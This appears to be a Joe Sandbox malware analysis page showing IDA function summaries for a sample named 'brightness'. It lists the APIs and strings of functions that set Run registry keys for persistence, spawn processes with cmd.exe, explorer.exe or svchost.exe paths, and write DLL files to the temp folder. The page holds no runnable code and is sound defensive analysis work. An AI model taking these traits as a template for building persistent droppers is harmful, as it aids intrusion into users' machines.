Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: _memset$__snwprintf
String ID: %s\cmd.exe$%s\explorer.exe$%s\svchost.exe
API String ID: 4292121385-2596767422
Opcode ID: 7c229108b7a1e53acbc66d79e25b12ee3f0615a590d20c330718b2be3170cf5a
Instruction ID: 490d7aa281784f4e0144644e29d7e6bd66a594ab99f222f29c478223ec71f742
Opcode Fuzzy Hash: 7c229108b7a1e53acbc66d79e25b12ee3f0615a590d20c330718b2be3170cf5a
Instruction Fuzzy Hash: C841D671E703186AD760EB609C46FFA73786F48700F8045D8B618A6181FBB19BA48F91

Function 002D2560 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 84registrymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 002CFE20: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 002CFE74
Part of subcall function 002CFE20: LocalAlloc.KERNEL32(00000040,?), ref: 002CFEB2
Part of subcall function 002CFE20: __snwprintf.LIBCMT ref: 002CFEDA
Part of subcall function 002CFE20: CoTaskMemFree.COMBASE(?), ref: 002CFEF5

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D258B
wnsprintfW.SHLWAPI ref: 002D25BA
RegOpenKeyW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,?), ref: 002D25DD
RegSetValueExW.ADVAPI32(?,00336FC8,00000000,00000001,?,?), ref: 002D2600
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,002D6AED), ref: 002D260A
RegOpenKeyW.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,?), ref: 002D2627
RegSetValueExW.ADVAPI32(?,00337016,00000000,00000001,?,?), ref: 002D264A
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,002D6AED), ref: 002D2654
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,002D6AED), ref: 002D265E
LocalFree.KERNEL32(00000000), ref: 002D2668

Strings

j-, xrefs: 002D2566, 002D2569
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 002D261D
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 002D25D3
{5EED0EA3-A73E-442A-9D20-84320F1AFCBA}, xrefs: 002D259E
%s%s %s, xrefs: 002D25AC

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocCloseOpenValue$FolderKnownPathTask__snwprintfwnsprintf
String ID: %s%s %s$SOFTWARE\Microsoft\Windows\CurrentVersion\Run$Software\Microsoft\Windows\CurrentVersion\Run${5EED0EA3-A73E-442A-9D20-84320F1AFCBA}$j-
API String ID: 2794108172-2204884380
Opcode ID: 9e288490c6e6fe0e6d027cc59e85ab22899fb651d4e7edf6ba80736aab014403
Instruction ID: b13d5c8ae46e8143ad180947d7c63654a258fd45eb45421eeed50a1027521367
Opcode Fuzzy Hash: 9e288490c6e6fe0e6d027cc59e85ab22899fb651d4e7edf6ba80736aab014403
Instruction Fuzzy Hash: 08318B75A1030AFBDB25DFA0DCCAFBEB73DEB48B05F004458F605A6290D6B1A955CB60

Function 002C2250 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 131processmemorysynchronizationCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002C2314
GetSystemDirectoryW.KERNEL32(?,00000104), ref: 002C2328
_memset.LIBCMT ref: 002C234B
LocalAlloc.KERNEL32(00000040,?), ref: 002C239E
__snwprintf.LIBCMT ref: 002C23D1
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000044,00000000), ref: 002C2401
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 002C2415
CloseHandle.KERNEL32(00000000), ref: 002C2422
CloseHandle.KERNEL32(?), ref: 002C242F
LocalFree.KERNEL32(00000000), ref: 002C243C
LocalFree.KERNEL32(00000000), ref: 002C2449
LocalFree.KERNEL32(00000000), ref: 002C2467

Strings

D, xrefs: 002C2371

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$Free$CloseHandle_memset$AllocCreateDirectoryObjectProcessSingleSystemWait__snwprintf
String ID: D
API String ID: 4061984843-2746444292
Opcode ID: 054e4d56c97f4f4197cd1c6b634ec5430fa2af0f1d9ee8a06ef6c8d00d857c1f
Instruction ID: 401e7217a0d6146043d292e8f0b75c4f11fcf44bf204a7a4e7a0935077a802c8
Opcode Fuzzy Hash: 054e4d56c97f4f4197cd1c6b634ec5430fa2af0f1d9ee8a06ef6c8d00d857c1f
Instruction Fuzzy Hash: DD514AB1A21228DFEB25DF54CD89FDABB78AF49304F0045D8E209A6280DBB45B84CF51

Function 002D2710 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 002D271C
_memmove.LIBCMT ref: 002D273B
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D2788
GetTempPathW.KERNEL32(00007FFF,00000000), ref: 002D27A4
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D27B9
__snwprintf.LIBCMT ref: 002D27E2
CloseHandle.KERNEL32(000000FF), ref: 002D2830
LocalFree.KERNEL32(00000000), ref: 002D283A
CloseHandle.KERNEL32(000000FF), ref: 002D2849
LocalFree.KERNEL32(00000000), ref: 002D285D
LocalFree.KERNEL32(00000000), ref: 002D2867
LocalFree.KERNEL32(00000000), ref: 002D2871

Strings

%s%s, xrefs: 002D27D4

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$CloseHandle$PathTemp__snwprintf_memmove
String ID: %s%s
API String ID: 313964581-3252725368
Opcode ID: 5aba7a336e5273e43b3feb2a0ba284d161fadf0f63638d81d70abc44c4086d13
Instruction ID: 99d80c8799c2b99f1b17323077f2c58701cc1ce8889267d298f1052f2b432c36
Opcode Fuzzy Hash: 5aba7a336e5273e43b3feb2a0ba284d161fadf0f63638d81d70abc44c4086d13
Instruction Fuzzy Hash: 80412C75A1020AEBDB14DFA4CC89FAEBBB9BF48700F104559F615B7280CB74AE51CB60

Function 002DBB20 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 260COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 002DBE75

Strings

{31D5D6FC-531F-4F51-88B8-2A46318EDC55}, xrefs: 002DBD06, 002DBD2A
{79AAF077-37FE-4D7E-B956-7886E5902558}, xrefs: 002DBC82, 002DBCA6
{116CB32B-CA1E-4E75-8750-5F8DFAEAF5A6}, xrefs: 002DBCC4, 002DBCE8
{90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}, xrefs: 002DBB26
{21AA2932-B56E-4A88-96A8-ED25B3407693}, xrefs: 002DBBC0
KERNEL32.DLL, xrefs: 002DBB3D

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: KERNEL32.DLL${116CB32B-CA1E-4E75-8750-5F8DFAEAF5A6}${21AA2932-B56E-4A88-96A8-ED25B3407693}${31D5D6FC-531F-4F51-88B8-2A46318EDC55}${79AAF077-37FE-4D7E-B956-7886E5902558}${90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}
API String ID: 621844428-194826558
Opcode ID: a7311cdd21363741101114e45d6b7680d1dadf83c26b2690f4a94906820c7c42
Instruction ID: 80369cdcc3cc418bf4cdfeb45064b35a5b860a0938c0c3337cea83168b3ec679
Opcode Fuzzy Hash: a7311cdd21363741101114e45d6b7680d1dadf83c26b2690f4a94906820c7c42
Instruction Fuzzy Hash: 96919F70D74209DEEF22EFA0DCA5BAD77B5AB04719F21151BF50166380DBB48CA4CB15

Function 002C9400 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 133filememoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,002C6D26,?,002C6D8A,00000000,00000000,?), ref: 002C9416
_memmove.LIBCMT ref: 002C9435
StrStrIW.SHLWAPI(?,.DLL), ref: 002C9511
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 002C953C
WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 002C9569
CloseHandle.KERNEL32(?), ref: 002C9581
LocalFree.KERNEL32(00000000), ref: 002C958B
CloseHandle.KERNEL32(?), ref: 002C959F
LocalFree.KERNEL32(00000000), ref: 002C95C9

Strings

.DLL, xrefs: 002C9505

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
